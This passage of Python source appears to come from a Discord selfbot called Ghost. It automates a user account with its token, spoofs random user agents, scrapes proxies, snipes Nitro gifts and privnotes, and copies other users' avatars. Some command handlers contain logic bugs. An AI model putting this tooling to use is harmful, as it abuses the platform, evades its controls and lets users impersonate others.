██║██╔═══██╗██╔════╝╚══██╔══╝".center(width)) print(fg.cYellow + "██║ ███╗███████║██║ ██║███████╗ ██║ ".center(width)) print(fg.cGreen + "██║ ██║██╔══██║██║ ██║╚════██║ ██║ ".center(width)) print(fg.cBlue + "╚██████╔╝██║ ██║╚██████╔╝███████║ ██║ ".center(width)) print(fg.cPurple + " ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ".center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "new2": print("") print(fg.consoleColour + "") print(" ______ __ __ ______ ______ ______ ".center(width)) print("/\ ___\ /\ \_\ \ /\ __ \ /\ ___\ /\__ _\ ".center(width)) print("\ \ \__ \ \ \ __ \ \ \ \/\ \ \ \___ \ \/_/\ \/ ".center(width)) print(" \ \_____\ \ \_\ \_\ \ \_____\ \/\_____\ \ \_\ ".center(width)) print(" \/_____/ \/_/\/_/ \/_____/ \/_____/ \/_/ ".center(width)) print(" ".center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "new3": print("") print(fg.consoleColour + "") print(" 88 ".center(width)) print(" 88 ,d ".center(width)) print(" 88 88 ".center(width)) print(" ,adPPYb,d8 88,dPPYba, ,adPPYba, ,adPPYba, MM88MMM ".center(width)) print('a8" `Y88 88P\' "8a a8" "8a I8[ "" 88 '.center(width)) print('8b 88 88 88 8b d8 `"Y8ba, 88 '.center(width)) print('"8a, ,d88 88 88 "8a, ,a8" aa ]8I 88, '.center(width)) print(' `"YbbdP"Y8 88 88 `"YbbdP"\' `"YbbdP"\' "Y888 '.center(width)) print(' aa, ,88 '.center(width)) print(' "Y8bbdP" '.center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "new4": print("") print(fg.consoleColour + "") print(" ▄██████▄ ▄█ █▄ ▄██████▄ ▄████████ ███ ".center(width)) print(" ███ ███ ███ ███ ███ ███ ███ ███ ▀█████████▄ ".center(width)) print(" ███ █▀ ███ ███ ███ ███ ███ █▀ ▀███▀▀██ ".center(width)) print(" ▄███ ▄███▄▄▄▄███▄▄ ███ ███ ███ ███ ▀ ".center(width)) print('▀▀███ ████▄ ▀▀███▀▀▀▀███▀ ███ ███ ▀███████████ ███ '.center(width)) print(' ███ ███ ███ ███ ███ ███ ███ ███ '.center(width)) print(' ███ ███ ███ ███ ███ ███ ▄█ ███ ███ '.center(width)) print(' ████████▀ ███ █▀ ▀██████▀ ▄████████▀ ▄████▀ '.center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "bear": if is_windows(): os.system("mode con: cols=90 lines=24") print("") print(fg.consoleColour + "") print(" ▄▀▀▀▄▄▄▄▄▄▄▀▀▀▄ ".center(os.get_terminal_size().columns)) print(" █▒▒░░░░░░░░░▒▒█ ".center(os.get_terminal_size().columns)) print(" █░░█░░░░░█░░█ ".center(os.get_terminal_size().columns)) print(" ▄▄ █░░░▀█▀░░░█ ▄▄ ".center(os.get_terminal_size().columns)) print(" █░░█ ▀▄░░░░░░░▄▀ █░░█ ".center(os.get_terminal_size().columns)) print("█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█".center(os.get_terminal_size().columns)) print("█░█▀▀░░█ █░░█▀█░░█▀░░▀█▀░█".center(os.get_terminal_size().columns)) print("█░█▄█░░█▀█░░█▄█░░▄█░░ █ ░█".center(os.get_terminal_size().columns)) print("█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█".center(os.get_terminal_size().columns)) print("") print(fg.cWhite + f"{motd}".center(os.get_terminal_size().columns)) print(fg.consoleColour + '─'*os.get_terminal_size().columns) print("") elif consoleMode.lower() == "old": print("") print(fg.consoleColour + "") print(" ▄████ ██░ ██ ▒█████ ██████ ▄▄▄█████▓".center(width)) print(" ██▒ ▀█▒▓██░ ██▒▒██▒ ██▒▒██ ▒ ▓ ██▒ ▓▒".center(width)) print("▒██░▄▄▄░▒██▀▀██░▒██░ ██▒░ ▓██▄ ▒ ▓██░ ▒░".center(width)) print("░▓█ ██▓░▓█ ░██ ▒██ ██░ ▒ ██▒░ ▓██▓ ░ ".center(width)) print("░▒▓███▀▒░▓█▒░██▓░ ████▓▒░▒██████▒▒ ▒██▒ ░ ".center(width)) print(" ░▒ ▒ ▒ ░░▒░▒░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░ ▒ ░░ ".center(width)) print(" ░ ░ ▒ ░▒░ ░ ░ ▒ ▒░ ░ ░▒ ░ ░ ░ ".center(width)) print("░ ░ ░ ░ ░░ ░░ ░ ░ ▒ ░ ░ ░ ░ ".center(width)) print(" ░ ░ ░ ░ ░ ░ ░ ".center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") elif consoleMode not in consoleModes: print("") print(fg.consoleColour + "") print(" ██████╗ ██╗ ██╗ ██████╗ ███████╗████████╗".center(width)) print("██╔════╝ ██║ ██║██╔═══██╗██╔════╝╚══██╔══╝".center(width)) print("██║ ███╗███████║██║ ██║███████╗ ██║ ".center(width)) print("██║ ██║██╔══██║██║ ██║╚════██║ ██║ ".center(width)) print("╚██████╔╝██║ ██║╚██████╔╝███████║ ██║ ".center(width)) print(" ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ".center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "react": print("") print(fg.consoleColour + "") print("██████╗ ███████╗ █████╗ ██████╗████████╗".center(width)) print("██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝".center(width)) print("██████╔╝█████╗ ███████║██║ ██║ ".center(width)) print("██╔══██╗██╔══╝ ██╔══██║██║ ██║ ".center(width)) print("██║ ██║███████╗██║ ██║╚██████╗ ██║ ".center(width)) print("╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ".center(width)) print("") print(fg.cWhite + f"{motd}".center(width)) print(fg.consoleColour + '─'*width) print("") if consoleMode.lower() == "rise": print(fg.cBlue + "") print("██████╗ ██╗███████╗███████╗ ███████╗███████╗██╗ ███████╗██████╗ ██████╗ ████████╗".center(width)) print("██╔══██╗██║██╔════╝██╔════╝ ██╔════╝██╔════╝██║ ██╔════╝██╔══██╗██╔═══██╗╚══██╔══╝".center(width)) print("██████╔╝██║███████╗█████╗ ███████╗█████╗ ██║ █████╗ ██████╔╝██║ ██║ ██║ ".center(width)) print("██╔══██╗██║╚════██║██╔══╝ ╚════██║██╔══╝ ██║ ██╔══╝ ██╔══██╗██║ ██║ ██║ ".center(width)) print("██║ ██║██║███████║███████╗ ███████║███████╗███████╗██║ ██████╔╝╚██████╔╝ ██║ ".center(width)) print("╚═╝ ╚═╝╚═╝╚══════╝╚══════╝ ╚══════╝╚══════╝╚══════╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ".center(width)) print("╭─━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━─╮") print(fg.cGrey + f"Connected: {Ghost.user} | Prefix: {Ghost.command_prefix} | Servers: {len(Ghost.guilds)}".center(width)) print(fg.cBlue + "╰─━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━─╯") print("") print(fg.cBlue + '━'*width) print("") if consoleMode.lower() == "nighty": if is_windows(): os.system("mode con: cols=90 lines=24") print("") print(f" {fg.cWhite}███{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}╗{fg.cWhite}██{fg.consoleColour}╗ {fg.cWhite}██████{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}╗{fg.cWhite}████████{fg.consoleColour}╗{fg.cWhite}██{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}╗") print(f" {fg.cWhite}████{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}╔════╝ {fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║╚══{fg.cWhite}██{fg.consoleColour}╔══╝╚{fg.cWhite}██{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}╔╝") print(f" {fg.cWhite}██{fg.consoleColour}╔{fg.cWhite}██{fg.consoleColour}╗ {fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}███{fg.consoleColour}╗{fg.cWhite}███████{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║ ╚{fg.cWhite}████{fg.consoleColour}╔╝ ") print(f" {fg.cWhite}██{fg.consoleColour}║╚{fg.cWhite}██{fg.consoleColour}╗{fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}╔══{fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║ ╚{fg.cWhite}██{fg.consoleColour}╔╝ ") print(f" {fg.cWhite}██{fg.consoleColour}║ ╚{fg.cWhite}████{fg.consoleColour}║{fg.cWhite}██{fg.consoleColour}║╚{fg.cWhite}██████{fg.consoleColour}╔╝{fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║ {fg.cWhite}██{fg.consoleColour}║ ") print(fg.consoleColour + f" ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ") print("") print(f"{fg.cWhite}Status: {fg.cGreen}Connected") print(f"{fg.cWhite}Account: {Ghost.user} [{len(Ghost.guilds)} servers] [{len(get_friends(__token__))} friends]") print(f"{fg.cWhite}Prefix: {Ghost.command_prefix}") print(fg.cWhite + '─'*os.get_terminal_size().columns) # def getCurrentTime(): # return datetime.now().strftime("%H:%M") # def print_important(message): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.cPurple}[Important] {fg.cGrey} | {message}") # def print_info(message): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.cYellow}[Information] {fg.cGrey} | {message}") # def print_cmd(command): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.consoleColour}[Command] {fg.cGrey} | {Ghost.command_prefix}{command}") # def print_sharecmd(author, command): # print(f"{fg.cGrey}[{getCurrentTime()}] {fg.consoleColour}[SHARE COMMAND] {fg.cWhite}({author}) {command}") # def print_error(error): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.cRed}[Error] {fg.cGrey} | {error}") # def print_detect(message): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.cPink}[Detect] {fg.cGrey} | {message}") # def print_sniper(message): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.cOrange}[Sniper] {fg.cGrey} | {message}") # def print_sniper_info(firstmessage, secondmessage): # print(f"{fg.cGrey}{getCurrentTime()} | {fg.cOrange}[Sniper] {fg.cGrey} | {firstmessage} | {secondmessage}") if "beta" in version.lower(): print_important("You're currently using a beta build of Ghost.") print_important("If you notice any bugs please report them to the developer.") print(" ") elif "dev" in version.lower(): print_important("You're currently using a developer build of Ghost.") print_important("If you notice any bugs please report them to the developer.") print(" ") @Ghost.command(name="blocksend", description="Send a message to a blocked user.", usage="blocksend [user id] [messages]", aliases=["sendblocked", "sendtoblocked"]) async def blocksend(ctx, userid:int, *, message): user = await Ghost.fetch_user(userid) await user.unblock() await user.send(message) await user.block() if __embedmode__: embed = discord.Embed(title=f"Block Send", description=f"Sent `{message}` to {user}.", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"Sent `{message}` to {user}.", delete_after=__deletetimeout__) @Ghost.command(name="riskmode", description="Disable and enable risk mode", usage="riskmode") async def riskmode(ctx): global __riskmode__ riskModeText = "" if __riskmode__: __riskmode__ = False cfg = Config.getConfig() cfg["riskmode"] = False Config.saveConfig(cfg) riskModeText = "disabled" else: __riskmode__ = True cfg = Config.getConfig() cfg["riskmode"] = True Config.saveConfig(cfg) riskModeText = "enabled" if __embedmode__: embed = discord.Embed(description=f"Risk mode has been {riskModeText}.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"Risk mode has been {riskModeText}.", delete_after=__deletetimeout__) @Ghost.command(name="embedmode", description="Toggle embed mode.", usage="embedmode") async def embedmode(ctx): global __embedmode__ if not __embedmode__: __embedmode__ = True cfg = Config.getConfig() cfg["embed_mode"] = True Config.saveConfig(cfg) if __embedmode__: embed = discord.Embed(title=f"Embed mode has been enabled.", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Embed mode has been enabled.", delete_after=__deletetimeout__) else: if __embedmode__: embed = discord.Embed(title=f"Embed mode is already enabled.", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Embed mode is already enabled.", delete_after=__deletetimeout__) @Ghost.command(name="textmode", description="Toggle text mode.", usage="textmode") async def textmode(ctx): global __embedmode__ if __embedmode__: __embedmode__ = False cfg = Config.getConfig() cfg["embed_mode"] = False Config.saveConfig(cfg) if __embedmode__: embed = discord.Embed(title=f"Text mode has been enabled.", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Text mode has been enabled.", delete_after=__deletetimeout__) else: if __embedmode__: embed = discord.Embed(title=f"Text mode is already enabled.", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Text mode is already enabled.", delete_after=__deletetimeout__) @Ghost.command(name="readall", description="Mark every message as read.", usage="readall") async def readall(ctx): index = 0 index2 = 0 DiscumClient = discum.Client(token=__token__, log=False, user_agent=get_random_user_agent()) for guild in Ghost.guilds: messages2 = [] for channel in guild.text_channels: index+=1 try: messages = await channel.history(limit=1, oldest_first=False).flatten() for message in messages: index2+=1 messages2.append({"channel_id": str(channel.id), "message_id": str(message.id)}) print_info(f"({channel.name}) Fetched new messages to read.") except: pass DiscumClient.bulkAck(messages2) print_info(f"Read all messages in {guild.name}.") print_info("All messages have been read.") await ctx.send(f"Read a total of `{index}` channels and `{index2}` messages.") @Ghost.command(name="specs", description="Your computers specifications.", usage="specs", aliases=["computerspecs", "pcspecs", "specifications"]) async def specs(ctx): def get_size(bytes, suffix="B"): factor = 1024 for unit in ["", "K", "M", "G", "T", "P"]: if bytes < factor: return f"{bytes:.2f}{unit}{suffix}" bytes /= factor uname = platform.uname() svmem = psutil.virtual_memory() system = uname.system machine = uname.machine cpu = platform.processor() ram = str(get_size(svmem.used)) + "/" + str(get_size(svmem.total)) gpus = [] for gpu in GPUtil.getGPUs(): gpus.append(gpu.name) if __embedmode__: embed = discord.Embed(title="Specifications", color=__embedcolour__) embed.add_field(name="System", value=f"```{system}```") embed.add_field(name="Machine", value=f"```{machine}```") embed.add_field(name="RAM", value=f"```{ram}```") embed.add_field(name="CPU", value=f"```{cpu}```") embed.add_field(name="GPUs", value=f"```{', '.join(gpus)}```") embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_thumbnail(url=__embedimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Specifications ] System: {system} Machine: {machine} CPU: {cpu} GPUs: {', '.join(gpus)} RAM: {ram} # {__embedfooter__} ```""", delete_after=__deletetimeout__) @Ghost.command(name="crypto", description="Get the current data on a cryptocurrency.", usage="crypto [currency]", aliases=["cryptodata"]) async def crypto(ctx, *, currency="bitcoin"): request = requests.get(f"https://api.coingecko.com/api/v3/coins/{currency}") if request.status_code == 200: request = request.json() if __embedmode__: embed = discord.Embed(title=f"{request['name']} Data", color=__embedcolour__) embed.add_field(name="Scores", value=f"""``` Coingecko score: {request['coingecko_score']} Liquidity score: {request['liquidity_score']} Developer score: {request['developer_score']} Commuinity score: {request['community_score']} ```""", inline=False) embed.add_field(name="Current Prices", value=f"""``` USD: {'{:,}'.format(request['market_data']['current_price']['usd'])} CAD: {'{:,}'.format(request['market_data']['current_price']['cad'])} AUD: {'{:,}'.format(request['market_data']['current_price']['aud'])} GBP: {'{:,}'.format(request['market_data']['current_price']['gbp'])} EUR: {'{:,}'.format(request['market_data']['current_price']['eur'])} ```""", inline=False) embed.add_field(name="Last 24h Price Change", value=f"""``` USD: {'{:,}'.format(request['market_data']['price_change_24h_in_currency']['usd'])} CAD: {'{:,}'.format(request['market_data']['price_change_24h_in_currency']['cad'])} AUD: {'{:,}'.format(request['market_data']['price_change_24h_in_currency']['aud'])} GBP: {'{:,}'.format(request['market_data']['price_change_24h_in_currency']['gbp'])} EUR: {'{:,}'.format(request['market_data']['price_change_24h_in_currency']['eur'])} ```""", inline=False) embed.set_thumbnail(url=request["image"]["large"]) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"""```ini [ {request['name']} Data ] [Scores] Coingecko score: {request['coingecko_score']} Liquidity score: {request['liquidity_score']} Developer score: {request['developer_score']} Commuinity score: {request['community_score']} [Current Prices] USD: {'{:,}'.format(request['market_data']['current_price']['usd'])} CAD: {'{:,}'.format(request['market_data']['current_price']['cad'])} AUD: {'{:,}'.format(request['market_data']['current_price']['aud'])} GBP: {'{:,}'.format(request['market_data']['current_price']['gbp'])} EUR: {'{:,}'.format(request['market_data']['current_price']['eur'])} [Last 24h Price Change] USD: {'{:,}'.format(request['market_data']['price_change_24h_in_currency']['usd'])} CAD: {'{:,}'.format(request['market_data']['price_change_24h_in_currency']['cad'])} AUD: {'{:,}'.format(request['market_data']['price_change_24h_in_currency']['aud'])} GBP: {'{:,}'.format(request['market_data']['price_change_24h_in_currency']['gbp'])} EUR: {'{:,}'.format(request['market_data']['price_change_24h_in_currency']['eur'])} # {__embedfooter__} ```""") else: if __embedmode__: embed = discord.Embed(title="Invalid Crypto", description="That crypto currency doesnt exist or there was an error.", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"""```ini [ Invalid Crypto ] That crypto currency doesnt exist or there was an error. # {__embedfooter__} ```""") @Ghost.command(name="proxies", description="Scrape an type of proxy.", usage="proxies [http, https, socks4, socks5, all]", aliases=["proxygen", "genproxies"]) async def proxies(ctx, type): if type == "http": if not os.path.isdir("data/proxies/"): os.makedirs("data/proxies/"); file = open("data/proxies/http.txt", "a+") request = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=http&timeout=5000") proxies = [] for proxy in request.text.split("\n"): proxy = proxy.strip() if proxy: proxies.append(proxy) file.write(str(proxy)+"\n") file.close() await ctx.send(content=f"Scraped `{len(proxies)}` HTTP proxies.", file=discord.File("data/proxies/http.txt")) if type == "https": if not os.path.isdir("data/proxies/"): os.makedirs("data/proxies/"); file = open("data/proxies/https.txt", "a+") request = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=https&timeout=5000") proxies = [] for proxy in request.text.split("\n"): proxy = proxy.strip() if proxy: proxies.append(proxy) file.write(str(proxy)+"\n") file.close() await ctx.send(content=f"Scraped `{len(proxies)}` HTTPS proxies.", file=discord.File("data/proxies/https.txt")) if type == "socks4": if not os.path.isdir("data/proxies/"): os.makedirs("data/proxies/"); file = open("data/proxies/socks4.txt", "a+") request = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&timeout=5000") proxies = [] for proxy in request.text.split("\n"): proxy = proxy.strip() if proxy: proxies.append(proxy) file.write(str(proxy)+"\n") file.close() await ctx.send(content=f"Scraped `{len(proxies)}` SOCKS4 proxies.", file=discord.File("data/proxies/socks4.txt")) if type == "socks5": if not os.path.isdir("data/proxies/"): os.makedirs("data/proxies/"); file = open("data/proxies/socks5.txt", "a+") request = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&timeout=5000") proxies = [] for proxy in request.text.split("\n"): proxy = proxy.strip() if proxy: proxies.append(proxy) file.write(str(proxy)+"\n") file.close() await ctx.send(content=f"Scraped `{len(proxies)}` SOCKS5 proxies.", file=discord.File("data/proxies/socks5.txt")) if type == "all": if not os.path.isdir("data/proxies/"): os.makedirs("data/proxies/"); file = open("data/proxies/all.txt", "a+") request = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=all&timeout=5000") proxies = [] for proxy in request.text.split("\n"): proxy = proxy.strip() if proxy: proxies.append(proxy) file.write(str(proxy)+"\n") file.close() await ctx.send(content=f"Scraped `{len(proxies)}` HTTP, HTTPS, SOCKS4 AND SOCKS5 proxies.", file=discord.File("data/proxies/all.txt")) @Ghost.command(name="stealpfp", description="Set someones avatar as your avatar.", usage="stealpfp [@user]", aliases=["stealavatar"]) async def stealpfp(ctx, user:discord.User): DiscumClient = discum.Client(token=__token__, log=False, user_agent=get_random_user_agent()) avatar1 = user.avatar extension = str(avatar1)[:-10][-3:] open(f"data/pfpstealavatar.{extension}", "wb").write(requests.get(str(avatar1), allow_redirects=True).content) DiscumClient.setAvatar(f"data/pfpstealavatar.{extension}") await ctx.send(f"Stolen `{user}`'s avatar.", delete_after=__deletetimeout__) # @Ghost.command(name="stealusername", description="Steal someones username.", usage="stealusername [@user]", aliases=["stealname"]) # async def stealusername(ctx, user:discord.User): # DiscumClient = discum.Client(token=__token__, log=False, user_agent=get_random_user_agent()) # username = user.name # DiscumClient.setUsername(username) # await ctx.send(f"Stolen `{user}`'s username.", delete_after=__deletetimeout__) # @Ghost.command(name="stealprofile", description="Steal someones avatar and username.", usage="stealprofile [@user]") # async def stealprofile(ctx, user:discord.User): # DiscumClient = discum.Client(token=__token__, log=False, user_agent=get_random_user_agent()) # avatar = user.avatar # username = user.name # extension = str(avatar)[:-10][-3:] # open(f"data/pfpstealavatar.{extension}", "wb").write(requests.get(str(avatar), allow_redirects=True).content) # DiscumClient.setAvatar(f"data/pfpstealavatar.{extension}") # DiscumClient.setUsername(username) @Ghost.command(name="cloneemoji", description="Clone an emoji to the command server.", usage="cloneemoji [emoji]", aliases=["stealemoji"]) async def cloneemoji(ctx, *, msg): msg = re.sub("<:(.+):([0-9]+)>", "\\2", msg) match = None exact_match = False for guild in Ghost.guilds: for emoji in guild.emojis: if msg.strip().lower() in str(emoji): match = emoji if msg.strip() in (str(emoji.id), emoji.name): match = emoji exact_match = True break if exact_match: break if not match: return await ctx.send("Couldnt find that emoji.") response = requests.get(match.url) emoji = await ctx.guild.create_custom_emoji(name=match.name, image=response.content) await ctx.send(f"Successfully cloned `{emoji.name}`.") @Ghost.command(name="enabledetect", description="Enable a detection.", usage="enabledetect [type, selfbot/ghostping/bans/deletedmessages/webhookmodification]") async def enabledetect(ctx, *, type): if type.lower() == "selfbot": global __selfbotdetect__ __selfbotdetect__ = True CONFIG["detections"]["selfbot"] = True json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Selfbot detection has been enabled.", delete_after=__deletetimeout__) elif type.lower() == "ghostping": global __ghostpingdetect__ __ghostpingdetect__ = True CONFIG["detections"]["ghostping"] = True json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Ghostping detection has been enabled.", delete_after=__deletetimeout__) elif type.lower() == "bans": global __bandetect__ __bandetect__ = True CONFIG["detections"]["bans"] = True json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Ban detection has been enabled.", delete_after=__deletetimeout__) elif type.lower() == "deletedmessages": global __deletedmessagesdetect__ __deletedmessagesdetect__ = True CONFIG["detections"]["deletedmessages"] = True json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Deleted messages detection has been enabled.", delete_after=__deletetimeout__) elif type.lower() == "webhookmodification": global __webhookmodificationdetect__ __webhookmodificationdetect__ = True CONFIG["detections"]["webhookmodification"] = True json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Webhook modification detection has been enabled.", delete_after=__deletetimeout__) else: await ctx.send("Invalid type.", delete_after=__deletetimeout__) @Ghost.command(name="disabledetect", description="Disable a detection.", usage="disabledetect [type, selfbot/ghostping/bans/deletedmessages/webhookmodification]") async def disabledetect(ctx, *, type): if type.lower() == "selfbot": global __selfbotdetect__ __selfbotdetect__ = False CONFIG["detections"]["selfbot"] = False json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Selfbot detection has been disabled.", delete_after=__deletetimeout__) if type.lower() == "ghostping": global __ghostpingdetect__ __selfbotdetect__ = False CONFIG["detections"]["ghostping"] = False json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Ghostping detection has been disabled.", delete_after=__deletetimeout__) if type.lower() == "bans": global __bandetect__ __bandetect__ = False CONFIG["detections"]["bans"] = False json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Ban detection has been disabled.", delete_after=__deletetimeout__) if type.lower() == "deletedmessages": global __deletedmessagesdetect__ __deletedmessagesdetect__ = False CONFIG["detections"]["deletedmessages"] = False json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Deleted messages detection has been disabled.", delete_after=__deletetimeout__) if type.lower() == "webhookmodification": global __webhookmodificationdetect__ __webhookmodificationdetect__ = False CONFIG["detections"]["webhookmodification"] = False json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Webhook modifcation detection has been disabled.", delete_after=__deletetimeout__) else: await ctx.send("Invalid type.", delete_after=__deletetimeout__) @Ghost.command(name="enablesniper", description="Enable a sniper.", usage="enablesniper [type, nitro/privnote/giveaway/tickets]") async def enablesniper(ctx, *, type): if type.lower() == "nitro": global __nitrosniper__ __nitrosniper__ = True CONFIG["snipers"]["nitro"] = True json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Nitro sniper has been enabled.", delete_after=__deletetimeout__) elif type.lower() == "privnote": global __privnotesniper__ __privnotesniper__ = True CONFIG["snipers"]["privnote"] = True json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Privnote sniper has been enabled.", delete_after=__deletetimeout__) elif type.lower() == "giveaway": global __giveawaysniper__ __giveawaysniper__ = True CONFIG["snipers"]["giveaway"] = True json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Giveaway sniper has been enabled.", delete_after=__deletetimeout__) elif type.lower() == "tickets": global __ticketsniper__ __ticketsniper__ = True CONFIG["snipers"]["tickets"] = True json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Ticket sniper has been enabled.", delete_after=__deletetimeout__) else: await ctx.send("Invalid type.", delete_after=__deletetimeout__) @Ghost.command(name="disablesniper", description="Disable a sniper.", usage="disablesniper [type, nitro/privnote/giveaway/tickets]") async def disablesniper(ctx, *, type): if type.lower() == "nitro": global __nitrosniper__ __nitrosniper__ = False CONFIG["snipers"]["nitro"] = False json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Nitro sniper has been disabled.", delete_after=__deletetimeout__) elif type.lower() == "privnote": global __privnotesniper__ __privnotesniper__ = False CONFIG["snipers"]["privnote"] = False json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Privnote sniper has been disabled.", delete_after=__deletetimeout__) elif type.lower() == "giveaway": global __giveawaysniper__ __giveawaysniper__ = False CONFIG["snipers"]["giveaway"] = False json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Giveaway sniper has been disabled.", delete_after=__deletetimeout__) elif type.lower() == "tickets": global __ticketsniper__ __ticketsniper__ = False CONFIG["snipers"]["tickets"] = False json.dump(CONFIG, open("config.json", "w"), indent=4, sort_keys=False) await ctx.send("Ticket sniper has been disabled.", delete_after=__deletetimeout__) else: await ctx.send("Invalid type.", delete_after=__deletetimeout__) # @Ghost.command(name="ghostusers", description="Finds all the people using Ghost in a server.", usage="ghostusers") # @commands.guild_only() # async def ghostusers(ctx): # message = await ctx.send("Looking for people that have Ghost, this may take a while...") # ghostUsers = [] # userAgent = get_random_user_agent() # try: # await ctx.message.delete() # except: # pass # DiscumClient = discum.Client(token=__token__, user_agent=f"{userAgent}") # @DiscumClient.gateway.command # def getmembers(resp): # guild_id = f'{ctx.guild.id}' # channel_id = 